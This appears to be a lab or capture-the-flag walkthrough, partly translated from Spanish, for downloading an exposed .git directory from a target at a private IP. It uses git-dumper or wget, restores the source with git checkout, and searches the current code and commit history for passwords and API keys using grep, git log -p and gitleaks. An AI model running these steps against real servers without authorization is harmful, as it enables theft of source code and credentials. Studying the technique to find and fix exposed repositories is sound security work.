Attack .git
Objective: We will download the complete source code and change history of the target. Target: http://172.18.33.244/.git/Tool: git-dumper...
OPERATION: GIT REPOSITORY EXFILTRATION
Sección titulada «OPERACIÓN: EXFILTRACIÓN DE REPOSITORIO GIT»Objective: We will download the complete source code and change history of the target.
Target: http://172.18.33.244/.git/Tool: git-dumper (Python)
PHASE 1: TOOL INSTALLATION
Sección titulada «FASE 1: INSTALACIÓN DE HERRAMIENTAS»We need a tool that doesn't just download files, but understands the Git structure to reconstruct the corrupt or incomplete repository.
-
We will install git-dumper: In our Kali terminal:
pip3 install git-dumper(If it fails, we will ensure we have python3-pip installed:
sudo apt install python3-pip).Ventana de terminal
PHASE 2: EXFILTRATION (THE DUMP)
Sección titulada «FASE 2: EXFILTRACIÓN (EL DUMP)»We are going to download all the content of the .git folder and reconstruct the working directory.
-
We will run the dumper:
# Sintaxis: git-dumper [URL] [CARPETA_DESTINO]git-dumper http://172.18.33.244/.git/ ./git_loot -
Verification: If we see progress bars downloading objects, indexes, and refs, we are on the right track.
Ventana de terminal cd git_lootls -la# Deberías ver una carpeta .git y posiblemente archivos sueltos.
PHASE 3: RECONSTRUCTION (FORENSIC)
Sección titulada «FASE 3: RECONSTRUCCIÓN (FORENSE)»Sometimes git-dumper downloads the database (.git) but not the visible files. We are going to force Git to "materialize" them.
-
We will restore the code: While inside the
git_lootfolder:git checkout .This will extract all files (index.php, config.php, etc.) from the downloaded database.
PHASE 4: SECRET ANALYSIS (LOOTING)
Sección titulada «FASE 4: ANÁLISIS DE SECRETOS (LOOTING)»This is where we will look for gold. We won't just look at current files, we will look at the past.
-
We will search for credentials in the current code:
Ventana de terminal grep -rE "password|user|host|key|secret|db" . -
Historical Analysis (The Time Machine): Developers often upload a password and delete it in the next commit. Git remembers everything.
-
We will look at the change log:
git log --oneline -
We will look at the change content (Diffs):
git log -pWe will look for red (deleted) lines containing passwords.
-
-
Automated Tool (Optional but recommended): If we have
gitleaksortrufflehog:# Busca secretos en todo el historialgitleaks detect --source . -v
What specifically are we looking for?
Sección titulada «¿Qué buscamos específicamente?»config.phpordb.phpfiles with MySQL credentials.- Comments with pending tasks:
// TODO: remove root password. - Hardcoded API keys.
MANUAL ALTERNATIVE (IF GIT-DUMPER FAILS)
Sección titulada «ALTERNATIVA MANUAL (SI GIT-DUMPER FALLA)»If we cannot install tools or are blocked, we will use wget recursively:
wget -r -np -R "index.html*" [http://172.18.33.244/.git/](http://172.18.33.244/.git/)Note: This is messier and may require manual repository repair with git fsck.

